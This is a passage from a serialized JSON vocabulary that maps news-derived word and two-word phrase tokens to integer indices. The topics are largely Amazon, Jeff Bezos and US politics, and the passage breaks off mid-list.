101380,\n  \"specifically people\": 101381,\n  \"common tweet\": 101382,\n  \"proximity\": 101383,\n  \"doors especially\": 101384,\n  \"inadequacies sherm\": 101385,\n  \"jacobson ivanka\": 101386,\n  \"nomura wrote\": 101387,\n  \"opera general\": 101388,\n  \"happen overnight\": 101389,\n  \"continental office\": 101390,\n  \"food costs\": 101391,\n  \"foolish maybe\": 101392,\n  \"trade city\": 101393,\n  \"creating opportunities\": 101394,\n  \"country explores\": 101395,\n  \"delivery fee\": 101396,\n  \"2018 real\": 101397,\n  \"expenditure\": 101398,\n  \"emmy award\": 101399,\n  \"math racer\": 101400,\n  \"great score\": 101401,\n  \"unrealized\": 101402,\n  \"stifle innovation\": 101403,\n  \"amazon chance\": 101404,\n  \"storefronts amazon\": 101405,\n  \"buy computer\": 101406,\n  \"snl sure\": 101407,\n  \"sop\": 101408,\n  \"nov rudy\": 101409,\n  \"seasons report\": 101410,\n  \"ad did\": 101411,\n  \"repeating\": 101412,\n  \"delivered direct\": 101413,\n  \"traffickers\": 101414,\n  \"story exploring\": 101415,\n  \"sanders notwithstanding\": 101416,\n  \"coollikemiles\": 101417,\n  \"joins queen\": 101418,\n  \"foods alana\": 101419,\n  \"second location\": 101420,\n  \"icy treats\": 101421,\n  \"leafy\": 101422,\n  \"known public\": 101423,\n  \"mammal\": 101424,\n  \"seen different\": 101425,\n  \"meaningfully negative\": 101426,\n  \"easy familiarity\": 101427,\n  \"shown tendency\": 101428,\n  \"treatment search\": 101429,\n  \"mgm resorts\": 101430,\n  \"realms\": 101431,\n  \"addressing amazon\": 101432,\n  \"brian killed\": 101433,\n  \"killed london\": 101434,\n  \"bras\\u00edlia\": 101435,\n  \"story dividend\": 101436,\n  \"trump transition\": 101437,\n  \"politico influence\": 101438,\n  \"poor airquality\": 101439,\n  \"sext messages\": 101440,\n  \"insider threats\": 101441,\n  \"pulling money\": 101442,\n  \"conference chris\": 101443,\n  \"president wishes\": 101444,\n  \"republican party\": 101445,\n  \"suggested clothing\": 101446,\n  \"sect news\": 101447,\n  \"long viewed\": 101448,\n  \"home price\": 101449,\n  \"investor appetite\": 101450,\n  \"don vote\": 101451,\n  \"flagging\": 101452,\n  \"absolutely despite\": 101453,\n  \"portable lifespan\": 101454,\n  \"rooney sally\": 101455,\n  \"videocollectionid\": 101456,\n  \"news hosts\": 101457,\n  \"getnextvideoindex currentvideoid\": 101458,\n  \"recent rally\": 101459,\n  \"wow twitter\": 101460,\n  \"party pt\": 101461,\n  \"began building\": 101462,\n  \"danner managed\": 101463,\n  \"videotape steve\": 101464,\n  \"reps andy\": 101465,\n  \"limbo\": 101466,\n  \"nadler doesn\": 101467,\n  \"palma\": 101468,\n  \"shortlist toronto\": 101469,\n  \"high speed\": 101470,\n  \"dolliole new\": 101471,\n  \"brief history\": 101472,\n  \"deals promise\": 101473,\n  \"tait entrepreneur\": 101474,\n  \"taxi2airport\": 101475,\n  \"receiving pressure\": 101476,\n  \"economy including\": 101477,\n  \"13008359\": 101478,\n  \"duvall\": 101479,\n  \"blogamazon\": 101480,\n  \"tom enders\": 101481,\n  \"soaring\": 101482,\n  \"adorable\": 101483,\n  \"memo says\": 101484,\n  \"minute past\": 101485,\n  \"capricious refereeing\": 101486,\n  \"brotopia\": 101487,\n  \"higher paying\": 101488,\n  \"opa locka\": 101489,\n  \"elijah\": 101490,\n  \"extractive industries\": 101491,\n  \"did report\": 101492,\n  \"andy ostroy\": 101493,\n  \"affiliates\": 101494,\n  \"greeting cards\": 101495,\n  \"gotten\": 101496,\n  \"city calif\": 101497,\n  \"digit pace\": 101498,\n  \"kelli\": 101499,\n  \"religious exemptions\": 101500,\n  \"wary northern\": 101501,\n  \"huckster\": 101502,\n  \"americans crossing\": 101503,\n  \"launched falcon\": 101504,\n  \"kowalick\": 101505,\n  \"psychologist reveals\": 101506,\n  \"paralyze public\": 101507,\n  \"summoned\": 101508,\n  \"150 calls\": 101509,\n  \"scalise returns\": 101510,\n  \"suspension\": 101511,\n  \"racial demographics\": 101512,\n  \"beautiful home\": 101513,\n  \"unintended consequences\": 101514,\n  \"vendor shutting\": 101515,\n  \"grudge trump\": 101516,\n  \"connected pecker\": 101517,\n  \"providing cheap\": 101518,\n  \"powerful enemy\": 101519,\n  \"holiday toys\": 101520,\n  \"absolutely brutal\": 101521,\n  \"american intellectual\": 101522,\n  \"org\": 101523,\n  \"stocks little\": 101524,\n  \"arrested michael\": 101525,\n  \"reduction program\": 101526,\n  \"tech large\": 101527,\n  \"actor named\": 101528,\n  \"senator libertarian\": 101529,\n  \"operations harder\": 101530,\n  \"definitely feel\": 101531,\n  \"clienty\": 101532,\n  \"robin levy\": 101533,\n  \"primarily attributed\": 101534,\n  \"fiasco trump\": 101535,\n  \"tv broke\": 101536,\n  \"foreign selling\": 101537,\n  \"utmost\": 101538,\n  \"offices distribution\": 101539,\n  \"largest meat\": 101540,\n  \"cramer jim\": 101541,\n  \"washington users\": 101542,\n  \"contract dismaying\": 101543,\n  \"banned pizzagate\": 101544,\n  \"world paid\": 101545,\n  \"spiritual significance\": 101546,\n  \"return volatility\": 101547,\n  \"corporate media\": 101548,\n  \"usps deficits\": 101549,\n  \"getty jeff\": 101550,\n  \"violations natural\": 101551,\n  \"bring losses\": 101552,\n  \"media building\": 101553,\n  \"loving racist\": 101554,\n  \"information inquiring\": 101555,\n  \"news sink\": 101556,\n  \"say reports\": 101557,\n  \"announcement amazon\": 101558,\n  \"carstensen afp\": 101559,\n  \"illinois heartland\": 101560,\n  \"pentagon identified\": 101561,\n  \"doctored devices\": 101562,\n  \"fatty duck\": 101563,\n  \"doesn exhibit\": 101564,\n  \"arm reach\": 101565,\n  \"employee apron\": 101566,\n  \"change uber\": 101567,\n  \"america analysts\": 101568,\n  \"nonprofit amazon\": 101569,\n  \"confirmation process\": 101570,\n  \"potential jedi\": 101571,\n  \"amazon recognized\": 101572,\n  \"sinks\": 101573,\n  \"undeniable\": 101574,\n  \"instruct\": 101575,\n  \"neighborhoods designated\": 101576,\n  \"424 billion\": 101577,\n  \"cellphones\": 101578,\n  \"alphabetical order\": 101579,\n  \"article_inline laxity\": 101580,\n  \"mob headlineposttext\": 101581,\n  \"importer interestingly\": 101582,\n  \"ryan zinke\": 101583,\n  \"politics reporter\": 101584,\n  \"tenants association\": 101585,\n  \"taking days\": 101586,\n  \"criminals justin\": 101587,\n  \"successful track\": 101588,\n  \"100 gained\": 101589,\n  \"report added\": 101590,\n  \"latest security\": 101591,\n  \"787\": 101592,\n  \"inclusive workplace\": 101593,\n  \"inside new\": 101594,\n  \"gdp number\": 101595,\n  \"coie\": 101596,\n  \"concerns center\": 101597,\n  \"war effect\": 101598,\n  \"pressure started\": 101599,\n  \"administration revenue\": 101600,\n  \"celebration dinner\": 101601,\n  \"blame senate\": 101602,\n  \"powerful creatures\": 101603,\n  \"maria ready\": 101604,\n  \"schuster told\": 101605,\n  \"plus points\": 101606,\n  \"security gop\": 101607,\n  \"rice reports\": 101608,\n  \"diverse workforce\": 101609,\n  \"johnson college\": 101610,\n  \"vague references\": 101611,\n  \"principal players\": 101612,\n  \"expect prime\": 101613,\n  \"fledged delivery\": 101614,\n  \"accepted\": 101615,\n  \"just needs\": 101616,\n  \"filing makes\": 101617,\n  \"speech policy\": 101618,\n  \"mainframe\": 101619,\n  \"ahamefule oluo\": 101620,\n  \"love good\": 101621,\n  \"ftc chairman\": 101622,\n  \"investigating schuster\": 101623,\n  \"fear politics\": 101624,\n  \"agenda setting\": 101625,\n  \"celebration orig\": 101626,\n  \"world subscribe\": 101627,\n  \"doubleday ayoola\": 101628,\n  \"scene setting\": 101629,\n  \"twitter writing\": 101630,\n  \"banned politically\": 101631,\n  \"paul ausick\": 101632,\n  \"source tells\": 101633,\n  \"cheryl cheryl\": 101634,\n  \"thing wadtw\": 101635,\n  \"trump epic\": 101636,\n  \"likewise cnn\": 101637,\n  \"uk chile\": 101638,\n  \"bezos referenced\": 101639,\n  \"fleecy jacket\": 101640,\n  \"proposed contract\": 101641,\n  \"dick amazon\": 101642,\n  \"program christian\": 101643,\n  \"month affair\": 101644,\n  \"reporting including\": 101645,\n  \"study puts\": 101646,\n  \"1607et copyright\": 101647,\n  \"analyst cites\": 101648,\n  \"land alabama\": 101649,\n  \"possible exception\": 101650,\n  \"doral ends\": 101651,\n  \"netflix relied\": 101652,\n  \"geography drive\": 101653,\n  \"scientologist\": 101654,\n  \"goal 100\": 101655,\n  \"alleged threat\": 101656,\n  \"opportunity certainly\": 101657,\n  \"smartest\": 101658,\n  \"playout\": 101659,\n  \"newsmakers nrcc\": 101660,\n  \"tall clearly\": 101661,\n  \"offense doesn\": 101662,\n  \"invest heavily\": 101663,\n  \"brutal regimes\": 101664,\n  \"time fulfillment\": 101665,\n  \"deloitte paves\": 101666,\n  \"thiel openly\": 101667,\n  \"taxes iranians\": 101668,\n  \"proxy\": 101669,\n  \"iceberg\": 101670,\n  \"recalls 1941\": 101671,\n  \"inboth parties\": 101672,\n  \"fun look\": 101673,\n  \"consistent schedules\": 101674,\n  \"coerce\": 101675,\n  \"sabrent tool\": 101676,\n  \"unofficial report\": 101677,\n  \"thorough security\": 101678,\n  \"2017 google\": 101679,\n  \"political challenges\": 101680,\n  \"office apparently\": 101681,\n  \"don drive\": 101682,\n  \"interstate 170\": 101683,\n  \"yves herman\": 101684,\n  \"kanye west\": 101685,\n  \"apologised\": 101686,\n  \"decide\": 101687,\n  \"dinesh\": 101688,\n  \"establish closer\": 101689,\n  \"protests confirms\": 101690,\n  \"citywide responsibilities\": 101691,\n  \"decorated\": 101692,\n  \"sparring\": 101693,\n  \"2750521\": 101694,\n  \"outweighed\": 101695,\n  \"hq2 means\": 101696,\n  \"raised federal\": 101697,\n  \"auto sector\": 101698,\n  \"suggests commerce\": 101699,\n  \"arrested cbs\": 101700,\n  \"mail pieces\": 101701,\n  \"computer generated\": 101702,\n  \"effective online\": 101703,\n  \"sanctuary lovingly\": 101704,\n  \"administration ossenbeck\": 101705,\n  \"example far\": 101706,\n  \"agency report\": 101707,\n  \"sustain broadsides\": 101708,\n  \"service relationship\": 101709,\n  \"lock devastated\": 101710,\n  \"2018 geekwire\": 101711,\n  \"\\u01422\": 101712,\n  \"views claims\": 101713,\n  \"beverly hills\": 101714,\n  \"trump requested\": 101715,\n  \"fall little\": 101716,\n  \"awareness course\": 101717,\n  \"profitable newsstand\": 101718,\n  \"criteria selected\": 101719,\n  \"svs544vwef\": 101720,\n  \"tablet apple\": 101721,\n  \"space nirvana\": 101722,\n  \"wmhrylwn1i\": 101723,\n  \"133 acres\": 101724,\n  \"investigating nycha\": 101725,\n  \"walmart need\": 101726,\n  \"federal refund\": 101727,\n  \"whoop amazon\": 101728,\n  \"rainforest mining\": 101729,\n  \"disparage mexico\": 101730,\n  \"brandon mcmillan\": 101731,\n  \"set bail\": 101732,\n  \"guys want\": 101733,\n  \"findings add\": 101734,\n  \"offering massive\": 101735,\n  \"awful prior\": 101736,\n  \"utah appeared\": 101737,\n  \"infrastructure including\": 101738,\n  \"air conditioners\": 101739,\n  \"sarcastically denies\": 101740,\n  \"reich\": 101741,\n  \"administration asked\": 101742,\n  \"dod classified\": 101743,\n  \"company recent\": 101744,\n  \"lara flynn\": 101745,\n  \"standing\": 101746,\n  \"severely impact\": 101747,\n  \"mnuchin specifically\": 101748,\n  \"industry shakeout\": 101749,\n  \"corrected nearly\": 101750,\n  \"house advisor\": 101751,\n  \"hollywood celebrities\": 101752,\n  \"jabong eyes\": 101753,\n  \"weaponry\": 101754,\n  \"showdetailsspancontent\": 101755,\n  \"world miami\": 101756,\n  \"leg higher\": 101757,\n  \"female surfer\": 101758,\n  \"included matches\": 101759,\n  \"genius sitting\": 101760,\n  \"brazilian legislation\": 101761,\n  \"zealand number\": 101762,\n  \"linoleic\": 101763,\n  \"nikkei 225\": 101764,\n  \"fundamentals airs\": 101765,\n  \"house kits\": 101766,\n  \"boxer briefs\": 101767,\n  \"yorks\": 101768,\n  \"tax vendor\": 101769,\n  \"role journalists\": 101770,\n  \"isn quite\": 101771,\n  \"revenue slightly\": 101772,\n  \"prospective\": 101773,\n  \"complementary\": 101774,\n  \"waterproof paperwhite\": 101775,\n  \"firm called\": 101776,\n  \"publication according\": 101777,\n  \"viking buy\": 101778,\n  \"legal response\": 101779,\n  \"argues rosenblatt\": 101780,\n  \"intelligence outweigh\": 101781,\n  \"cities jumped\": 101782,\n  \"u003c movement\": 101783,\n  \"contract called\": 101784,\n  \"tree clary\": 101785,\n  \"ignore political\": 101786,\n  \"trafficking build\": 101787,\n  \"capping\": 101788,\n  \"fortunes boosted\": 101789,\n  \"presidentwas\": 101790,\n  \"crosstalk dent\": 101791,\n  \"paraskova\": 101792,\n  \"property enterprise\": 101793,\n  \"videourl videos\": 101794,\n  \"american cable\": 101795,\n  \"garish 1977\": 101796,\n  \"151 square\": 101797,\n  \"eu actually\": 101798,\n  \"billion bloomberg\": 101799,\n  \"attainable\": 101800,\n  \"fortune brainstorm\": 101801,\n  \"overly stevenoverly\": 101802,\n  \"panera\": 101803,\n  \"helped turn\": 101804,\n  \"judiciary sides\": 101805,\n  \"credit cards\": 101806,\n  \"sarcastic\": 101807,\n  \"slower moving\": 101808,\n  \"ea fa\": 101809,\n  \"exclusively reserved\": 101810,\n  \"bad education\": 101811,\n  \"farrar straus\": 101812,\n  \"brought divided\": 101813,\n  \"southern arizona\": 101814,\n  \"winds\": 101815,\n  \"175bn\": 101816,\n  \"foreign ministry\": 101817,\n  \"cape microsoft\": 101818,\n  \"west sacramento\": 101819,\n  \"dave stroup\": 101820,\n  \"makers nvidia\": 101821,\n  \"widespread taking\": 101822,\n  \"_trksid\": 101823,\n  \"paying amazon\": 101824,\n  \"workers rebel\": 101825,\n  \"gold 334\": 101826,\n  \"investigative report\": 101827,\n  \"younis\": 101828,\n  \"face tough\": 101829,\n  \"acto governments\": 101830,\n  \"secret rates\": 101831,\n  \"minimum hourly\": 101832,\n  \"themes\": 101833,\n  \"sarl\": 101834,\n  \"obtain improved\": 101835,\n  \"1971\": 101836,\n  \"brilliant\": 101837,\n  \"families separated\": 101838,\n  \"shoddiest merchandise\": 101839,\n  \"superintendent trump\": 101840,\n  \"billionaire symbol\": 101841,\n  \"owner turns\": 101842,\n  \"state read\": 101843,\n  \"won understand\": 101844,\n  \"produced\": 101845,\n  \"business entrepreneurs\": 101846,\n  \"liberties concerns\": 101847,\n  \"accessos\": 101848,\n  \"metapack business\": 101849,\n  \"rallies read\": 101850,\n  \"television anchor\": 101851,\n  \"hollywood health\": 101852,\n  \"startlingly\": 101853,\n  \"taxes las\": 101854,\n  \"unpaid time\": 101855,\n  \"biden haul\": 101856,\n  \"long serving\": 101857,\n  \"minimum required\": 101858,\n  \"12th\": 101859,\n  \"toyota\": 101860,\n  \"bennet\": 101861,\n  \"flesh wounds\": 101862,\n  \"newest american\": 101863,\n  \"dreidels\": 101864,\n  \"dynasty governor\": 101865,\n  \"deeply concerned\": 101866,\n  \"android antitrust\": 101867,\n  \"snatched documents\": 101868,\n  \"foreigners trillion\": 101869,\n  \"home park\": 101870,\n  \"instagram post\": 101871,\n  \"1557et copyright\": 101872,\n  \"325 words\": 101873,\n  \"deliveries sags\": 101874,\n  \"tax payroll\": 101875,\n  \"wealth according\": 101876,\n  \"tom cancel\": 101877,\n  \"second big\": 101878,\n  \"klein betsy_klein\": 101879,\n  \"labor democrats\": 101880,\n  \"consequences white\": 101881,\n  \"mac greer\": 101882,\n  \"cubes squat\": 101883,\n  \"acreage\": 101884,\n  \"include amazon\": 101885,\n  \"invested significant\": 101886,\n  \"embedcodecopy\": 101887,\n  \"hitting rough\": 101888,\n  \"sensitive\": 101889,\n  \"increasingly tarmacs\": 101890,\n  \"war navarro\": 101891,\n  \"people send\": 101892,\n  \"specifically fort\": 101893,\n  \"center geekwire\": 101894,\n  \"spent simply\": 101895,\n  \"hold public\": 101896,\n  \"away 2018\": 101897,\n  \"juiciest\": 101898,\n  \"florence pugh\": 101899,\n  \"felt silly\": 101900,\n  \"customers increasingly\": 101901,\n  \"iran talks\": 101902,\n  \"anticipated anytime\": 101903,\n  \"committees tied\": 101904,\n  \"ali bon\": 101905,\n  \"cathedrals listed\": 101906,\n  \"matter narrowing\": 101907,\n  \"largest economy\": 101908,\n  \"existing citizens\": 101909,\n  \"newer revenue\": 101910,\n  \"procter\": 101911,\n  \"delays school\": 101912,\n  \"house national\": 101913,\n  \"stalemate nyc\": 101914,\n  \"nichol classic\": 101915,\n  \"jacob wohl\": 101916,\n  \"1835et\": 101917,\n  \"company days\": 101918,\n  \"looking ahead\": 101919,\n  \"work ahead\": 101920,\n  \"feeder sarah\": 101921,\n  \"patriots owner\": 101922,\n  \"government spends\": 101923,\n  \"investigating numerous\": 101924,\n  \"thumbimagelargesource thumbimagelargesource\": 101925,\n  \"mice\": 101926,\n  \"perry joining\": 101927,\n  \"prone director\": 101928,\n  \"managers private\": 101929,\n  \"gagillion\": 101930,\n  \"posted second\": 101931,\n  \"settlement discussions\": 101932,\n  \"shows daniel\": 101933,\n  \"videoinstance cvp\": 101934,\n  \"controversial marketing\": 101935,\n  \"shale producer\": 101936,\n  \"david klepper\": 101937,\n  \"birkenstock ceo\": 101938,\n  \"anger boiled\": 101939,\n  \"comeback ben\": 101940,\n  \"2033 mayor\": 101941,\n  \"eclipsed saudi\": 101942,\n  \"wrong 2018\": 101943,\n  \"lastly\": 101944,\n  \"political bloodstream\": 101945,\n  \"corby\": 101946,\n  \"previously routine\": 101947,\n  \"holds 158\": 101948,\n  \"fawning\": 101949,\n  \"compensation claims\": 101950,\n  \"weknow\": 101951,\n  \"week election\": 101952,\n  \"high flirting\": 101953,\n  \"extremely cumbersome\": 101954,\n  \"membersenough\": 101955,\n  \"bookmark\": 101956,\n  \"concern hasn\": 101957,\n  \"nafta says\": 101958,\n  \"100th anniversary\": 101959,\n  \"money better\": 101960,\n  \"candidate signature\": 101961,\n  \"escape unnoticed\": 101962,\n  \"relations blitz\": 101963,\n  \"enemy eleanor\": 101964,\n  \"hitting year\": 101965,\n  \"indystar\": 101966,\n  \"studios boss\": 101967,\n  \"police arrested\": 101968,\n  \"require business\": 101969,\n  \"college student\": 101970,\n  \"beating expectations\": 101971,\n  \"market works\": 101972,\n  \"multiple analysts\": 101973,\n  \"import restrictions\": 101974,\n  \"week canada\": 101975,\n  \"anonymous source\": 101976,\n  \"profile clash\": 101977,\n  \"years prior\": 101978,\n  \"french museums\": 101979,\n  \"monologue\": 101980,\n  \"trump lawyer\": 101981,\n  \"bezos sudden\": 101982,\n  \"data till\": 101983,\n  \"regulatory control\": 101984,\n  \"dark direction\": 101985,\n  \"john giannandrea\": 101986,\n  \"bezos intercepted\": 101987,\n  \"exacerbates inequality\": 101988,\n  \"scans particularly\": 101989,\n  \"ofthe investigation\": 101990,\n  \"elect\": 101991,\n  \"marines\": 101992,\n  \"171034414 tesla\": 101993,\n  \"sanders declined\": 101994,\n  \"thriving neighborhood\": 101995,\n  \"cash inflows\": 101996,\n  \"newsletter subscribe\": 101997,\n  \"star reviews\": 101998,\n  \"chest\": 101999,\n  \"potential impact\": 102000,\n  \"amazon fast\": 102001,\n  \"story catherine\": 102002,\n  \"juicier ambitions\": 102003,\n  \"lays\": 102004,\n  \"michael recovery\": 102005,\n  \"gianaris adjusting\": 102006,\n  \"reeling stock\": 102007,\n  \"conspiracy site\": 102008,\n  \"abc cbs\": 102009,\n  \"branded hotel\": 102010,\n  \"gordon lightfoot\": 102011,\n  \"denver strike\": 102012,\n  \"client privileges\": 102013,\n  \"flooding social\": 102014,\n  \"ceo change\": 102015,\n  \"dollars 98point6\": 102016,\n  \"suspended prominent\": 102017,\n  \"conservative owner\": 102018,\n  \"say revenge\": 102019,\n  \"raises revenue\": 102020,\n  \"inviting people\": 102021,\n  \"ailing industrial\": 102022,\n  \"jin saotome\": 102023,\n  \"canadian refineries\": 102024,\n  \"serving prison\": 102025,\n  \"sports facilities\": 102026,\n  \"opened positions\": 102027,\n  \"classy\": 102028,\n  \"way violate\": 102029,\n  \"dartboards\": 102030,\n  \"kit harington\": 102031,\n  \"rep john\": 102032,\n  \"liner\": 102033,\n  \"casino boston\": 102034,\n  \"game features\": 102035,\n  \"felipe werneck\": 102036,\n  \"separates 98point6\": 102037,\n  \"trump intimidating\": 102038,\n  \"gallery paris\": 102039,\n  \"great jim\": 102040,\n  \"public exposure\": 102041,\n  \"jamie\": 102042,\n  \"perpetrator thenational\": 102043,\n  \"georgiev northjersey\": 102044,\n  \"piketty paper\": 102045,\n  \"sleazy reverse\": 102046,\n  \"2018 estimate\": 102047,\n  \"mailbox data\": 102048,\n  \"facebook unethical\": 102049,\n  \"incentives ina\": 102050,\n  \"nonsensical\": 102051,\n  \"brush according\": 102052,\n  \"power struggle\": 102053,\n  \"committee servers\": 102054,\n  \"laura palmer\": 102055,\n  \"whiny\": 102056,\n  \"detention deportations\": 102057,\n  \"wrong people\": 102058,\n  \"proposing\": 102059,\n  \"know new\": 102060,\n  \"cloud growth\": 102061,\n  \"sens\": 102062,\n  \"news pme\": 102063,\n  \"traditional partners\": 102064,\n  \"similar hats\": 102065,\n  \"woman played\": 102066,\n  \"completed trump\": 102067,\n  \"dollar yuan\": 102068,\n  \"pages dishing\": 102069,\n  \"markupid play\": 102070,\n  \"year increase\": 102071,\n  \"845 8450\": 102072,\n  \"returntypeofr4ee w9x\": 102073,\n  \"finally decide\": 102074,\n  \"u2 photo\": 102075,\n  \"cnn chief\": 102076,\n  \"recent measles\": 102077,\n  \"properly peek\": 102078,\n  \"massive jumbo\": 102079,\n  \"noted sanchez\": 102080,\n  \"headed lower\": 102081,\n  \"lizzie good\": 102082,\n  \"wage growth\": 102083,\n  \"gsa\": 102084,\n  \"bezos following\": 102085,\n  \"warriors took\": 102086,\n  \"gabbana sent\": 102087,\n  \"immigrant places\": 102088,\n  \"ordered review\": 102089,\n  \"wrongly convinced\": 102090,\n  \"cardsectionname\": 102091,\n  \"eroded\": 102092,\n  \"scamazon\": 102093,\n  \"history trump\": 102094,\n  \"penis looks\": 102095,\n  \"sent quite\": 102096,\n  \"avoid\": 102097,\n  \"sellers offering\": 102098,\n  \"raines offered\": 102099,\n  \"butchered horse\": 102100,\n  \"aboutbezos post\": 102101,\n  \"1011252198221594624 ref_src\": 102102,\n  \"believes government\": 102103,\n  \"snl host\": 102104,\n  \"based analytics\": 102105,\n  \"trump payments\": 102106,\n  \"amazon appointed\": 102107,\n  \"merchant goods\": 102108,\n  \"rahul\": 102109,\n  \"bloomfield\": 102110,\n  \"vince lombardi\": 102111,\n  \"alert services\": 102112,\n  \"egypt\": 102113,\n  \"arabic\": 102114,\n  \"employees subsequently\": 102115,\n  \"atrace\": 102116,\n  \"cbp ice\": 102117,\n  \"shares recover\": 102118,\n  \"emmy nominated\": 102119,\n  \"national threat\": 102120,\n  \"ehx3z5cmxb donald\": 102121,\n  \"cooler\": 102122,\n  \"stay financially\": 102123,\n  \"trump ties\": 102124,\n  \"bezos national\": 102125,\n  \"chris dalby\": 102126,\n  \"insurance policies\": 102127,\n  \"little jedi\": 102128,\n  \"real rub\": 102129,\n  \"bradley tusk\": 102130,\n  \"tract qualifies\": 102131,\n  \"trice president\": 102132,\n  \"amazon barely\": 102133,\n  \"scouts updated\": 102134,\n  \"filings state\": 102135,\n  \"really creepy\": 102136,\n  \"renovations\": 102137,\n  \"robber baron\": 102138,\n  \"reseller caught\": 102139,\n  \"gaap pre\": 102140,\n  \"week training\": 102141,\n  \"significant cost\": 102142,\n  \"sarah\": 102143,\n  \"9k7\": 102144,\n  \"actually starts\": 102145,\n  \"kelly listens\": 102146,\n  \"richard ben\": 102147,\n  \"severance deal\": 102148,\n  \"readers inside\": 102149,\n  \"reciprocal ones\": 102150,\n  \"portfolio ibm\": 102151,\n  \"chain long\": 102152,\n  \"says antitrust\": 102153,\n  \"marta tellado\": 102154,\n  \"experienced net\": 102155,\n  \"blow\": 102156,\n  \"assaulted\": 102157,\n  \"conduct according\": 102158,\n  \"observant detective\": 102159,\n  \"citizen dave\": 102160,\n  \"control checked\": 102161,\n  \"pecker describing\": 102162,\n  \"guests worried\": 102163,\n  \"lesley stahl\": 102164,\n  \"outsized moves\": 102165,\n  \"overruled parole\": 102166,\n  \"worth shoved\": 102167,\n  \"memphis read\": 102168,\n  \"word washington\": 102169,\n  \"existential threat\": 102170,\n  \"gop gains\": 102171,\n  \"music city\": 102172,\n  \"today national\": 102173,\n  \"vacates\": 102174,\n  \"public company\": 102175,\n  \"monopoly things\": 102176,\n  \"told business\": 102177,\n  \"98point6 gaining\": 102178,\n  \"new users\": 102179,\n  \"internet shopping\": 102180,\n  \"policy newsletter\": 102181,\n  \"way better\": 102182,\n  \"bruce willis\": 102183,\n  \"company haughty\": 102184,\n  \"jaspers\": 102185,\n  \"luiz cornacchioni\": 102186,\n  \"strictly prohibits\": 102187,\n  \"officials aided\": 102188,\n  \"reform doesn\": 102189,\n  \"worth 132\": 102190,\n  \"winning political\": 102191,\n  \"143 operator\": 102192,\n  \"really strong\": 102193,\n  \"flynn check\": 102194,\n  \"writer jamal\": 102195,\n  \"states jeff\": 102196,\n  \"new app\": 102197,\n  \"investopedia\": 102198,\n  \"thrones stye\": 102199,\n  \"decoupling throne\": 102200,\n  \"partner lp\": 102201,\n  \"segment sean\": 102202,\n  \"allows customers\": 102203,\n  \"economics professors\": 102204,\n  \"disrupt established\": 102205,\n  \"ex machina\": 102206,\n  \"lunatic left\": 102207,\n  \"upstairs\": 102208,\n  \"memo bannon\": 102209,\n  \"biggest public\": 102210,\n  \"rightfully celebrates\": 102211,\n  \"immensely\": 102212,\n  \"levels amzn\": 102213,\n  \"2018 organized\": 102214,\n  \"support congestion\": 102215,\n  \"puck\": 102216,\n  \"malcolm\": 102217,\n  \"liberty blitzkrieg\": 102218,\n  \"falling silent\": 102219,\n  \"agricultural production\": 102220,\n  \"departures man\": 102221,\n  \"cramped house\": 102222,\n  \"close race\": 102223,\n  \"vestager team\": 102224,\n  \"bezos slamming\": 102225,\n  \"york shows\": 102226,\n  \"services heck\": 102227,\n  \"remain intact\": 102228,\n  \"c0 c0\": 102229,\n  \"quarter outburst\": 102230,\n  \"currentvideocollectionid\": 102231,\n  \"wiseman offers\": 102232,\n  \"south carolina\": 102233,\n  \"ourforeign policy\": 102234,\n  \"finally trashed\": 102235,\n  \"togetherthat\": 102236,\n  \"key executives\": 102237,\n  \"stagnation brian\": 102238,\n  \"reports directly\": 102239,\n  \"royalty collection\": 102240,\n  \"real moser\": 102241,\n  \"gianaris wants\": 102242,\n  \"company applying\": 102243,\n  \"numerous attacks\": 102244,\n  \"thewrap\": 102245,\n  \"tech time\": 102246,\n  \"washington regulators\": 102247,\n  \"executives demanded\": 102248,\n  \"paused\": 102249,\n  \"valley corporate\": 102250,\n  \"iemg\": 102251,\n  \"entire investigation\": 102252,\n  \"bestseller list\": 102253,\n  \"cmpid\": 102254,\n  \"kleiner perkins\": 102255,\n  \"bamboozled\": 102256,\n  \"employees depended\": 102257,\n  \"streamlining\": 102258,\n  \"trillion dollars\": 102259,\n  \"125 jobs\": 102260,\n  \"people advocating\": 102261,\n  \"martin consensus\": 102262,\n  \"2018 compared\": 102263,\n  \"mixes blends\": 102264,\n  \"week 2016\": 102265,\n  \"trumpworld\": 102266,\n  \"restaurant attracts\": 102267,\n  \"carrier efforts\": 102268,\n  \"underwriters\": 102269,\n  \"defense analyst\": 102270,\n  \"raposa\": 102271,\n  \"queensbridge houses\": 102272,\n  \"berated harley\": 102273,\n  \"born brahmins\": 102274,\n  \"company motto\": 102275,\n  \"amplifying diverse\": 102276,\n  \"damages\": 102277,\n  \"exchanges bezos\": 102278,\n  \"amazon produced\": 102279,\n  \"stronger government\": 102280,\n  \"forcefully\": 102281,\n  \"collar foreign\": 102282,\n  \"petty\": 102283,\n  \"working stiffs\": 102284,\n  \"earning 120\": 102285,\n  \"antibiotics\": 102286,\n  \"ben thanks\": 102287,\n  \"duque talked\": 102288,\n  \"slice intelligence\": 102289,\n  \"book abramson\": 102290,\n  \"zinke friend\": 102291,\n  \"healthcare governments\": 102292,\n  \"amazon started\": 102293,\n  \"research marriage\": 102294,\n  \"bateman murder\": 102295,\n  \"deflected scarce\": 102296,\n  \"america building\": 102297,\n  \"quoting newsweek\": 102298,\n  \"150 decibels\": 102299,\n  \"index 500\": 102300,\n  \"appoint elected\": 102301,\n  \"correction cibc\": 102302,\n  \"sequitur selden\": 102303,\n  \"2020 reelection\": 102304,\n  \"launch prime\": 102305,\n  \"brings25 000\": 102306,\n  \"opened\": 102307,\n  \"need nancy\": 102308,\n  \"cara camacho\": 102309,\n  \"president vladimir\": 102310,\n  \"justice sonia\": 102311,\n  \"profits grew\": 102312,\n  \"aljazeera north\": 102313,\n  \"testimonials\": 102314,\n  \"manipulation potus\": 102315,\n  \"amazon regardless\": 102316,\n  \"power hydralight\": 102317,\n  \"state amazon\": 102318,\n  \"houses\": 102319,\n  \"amazon bought\": 102320,\n  \"hit cold\": 102321,\n  \"presidential looming\": 102322,\n  \"steven senne\": 102323,\n  \"titans digital\": 102324,\n  \"giant suppressed\": 102325,\n  \"quarter reports\": 102326,\n  \"poliltical\": 102327,\n  \"effectively write\": 102328,\n  \"vocal defender\": 102329,\n  \"virtualization\": 102330,\n  \"apple computers\": 102331,\n  \"hourly drivers\": 102332,\n  \"models amazon\": 102333,\n  \"ana\": 102334,\n  \"literary origins\": 102335,\n  \"company completed\": 102336,\n  \"mind begin\": 102337,\n  \"held enemy\": 102338,\n  \"silly acting\": 102339,\n  \"residents serving\": 102340,\n  \"valuation marks\": 102341,\n  \"treatment sbirt\": 102342,\n  \"ap video\": 